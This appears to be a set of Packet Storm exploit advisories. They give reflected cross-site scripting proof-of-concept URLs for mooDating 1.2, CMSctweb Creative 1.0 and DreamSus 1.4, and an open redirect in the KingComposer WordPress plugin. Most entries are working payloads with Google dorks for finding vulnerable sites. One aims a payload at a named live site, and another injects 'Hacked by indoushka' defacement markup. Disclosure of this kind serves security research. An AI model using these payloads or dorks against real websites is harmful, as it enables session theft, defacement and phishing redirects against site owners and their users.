       CVE-2023-3843 - CVE-2023-3845 - CVE-2023-3844

## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka    
CryptoJob (Twitter) twitter.com/0x0CryptoJob

## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message  
can perform a wide variety of actions, such as stealing the victim's session token or login credentials

Path: /matchmakings/question

URL parameter is vulnerable to RXSS

https://website/matchmakings/questiontmili%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ew71ch?number=  
https://website/matchmakings/question[XSS]?number=

Path: /friends

URL parameter is vulnerable to RXSS

https://website/friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3er5c3m/ajax_invite?mode=model  
https://website/friends[XSS]/ajax_invite?mode=model

Path: /friends/ajax_invite

URL parameter is vulnerable to RXSS

https://website/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ef26v4?mode=model  
https://website/friends/ajax_invite[XSS]?mode=model

Path: /pages

URL parameter is vulnerable to RXSS

https://website/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l  
https://website/pages[XSS]/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l

Path: /users

URL parameter is vulnerable to RXSS

https://website/userszzjpp%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eaycfc/view/108?tab=activity  
https://website/user[XSS]/view/108?tab=activity

Path: /users/view

URL parameter is vulnerable to RXSS

https://website/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3el43yn/108?tab=activity  
https://website/users/view[XSS]/108?tab=activity

Path: /find-a-match

URL parameter is vulnerable to RXSS

https://website/find-a-matchpksyk%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3es9a64?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0  
https://website/find-a-match[XSS]?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0

[XSS Payload]: pksyk"><img src=a onerror=alert(1)>s9a6

[-] Done

mooDating 1.2 Cross Site Scripting

CMSctweb Creative version 1.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : CMSctweb creative v 1.0 XSS Vulnerability                                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               | | # Vendor    : http://www.contedia.com/                                                                                           |  | # Dork      : "ct web design by brown bear creative" inurl:.php?id=                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /department.php?id=39'<script>alert(/indoushka/);</script>[+] http://www.canterburyct.org/department.php?id=39%27%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CMSctweb Creative 1.0 Cross Site Scripting

CMS Ultimate Solutions DreamSus version 1.4 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : CMS Ultimate Solutions DreamSus v1.4 XSS Vulnerability                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : http://dreamsus.com                                                                                                |  | # Dork      : intext:''Designed and Developed by Dreams Ultimate Solutions'' site:edu.in                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] use payload : /gallery1.php?adjacents=3div_disp=false&gallery_type=Extra%2520Curriculum'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>&tpages=4[+] http://127.0.0.1/spcollegejejurieduin/gallery1.php?adjacents=3div_disp=false&gallery_type=Extra%2520Curriculum%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&tpages=4Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CMS Ultimate Solutions DreamSus 1.4 Cross Site Scripting

WordPress Page Builder KingComposer plugin version 2.9.6 suffers from an open redirection vulnerability.

    ====================================================================================================================================| # Title     : WordPress Page Builder KingComposer 2.9.6 Open Redirect Vulnerability                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://kingcomposer.com/                                                                                          |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://packetstormsecurity.com/[+] https://example.com/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://packetstormsecurity.com/Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Source

Packet Storm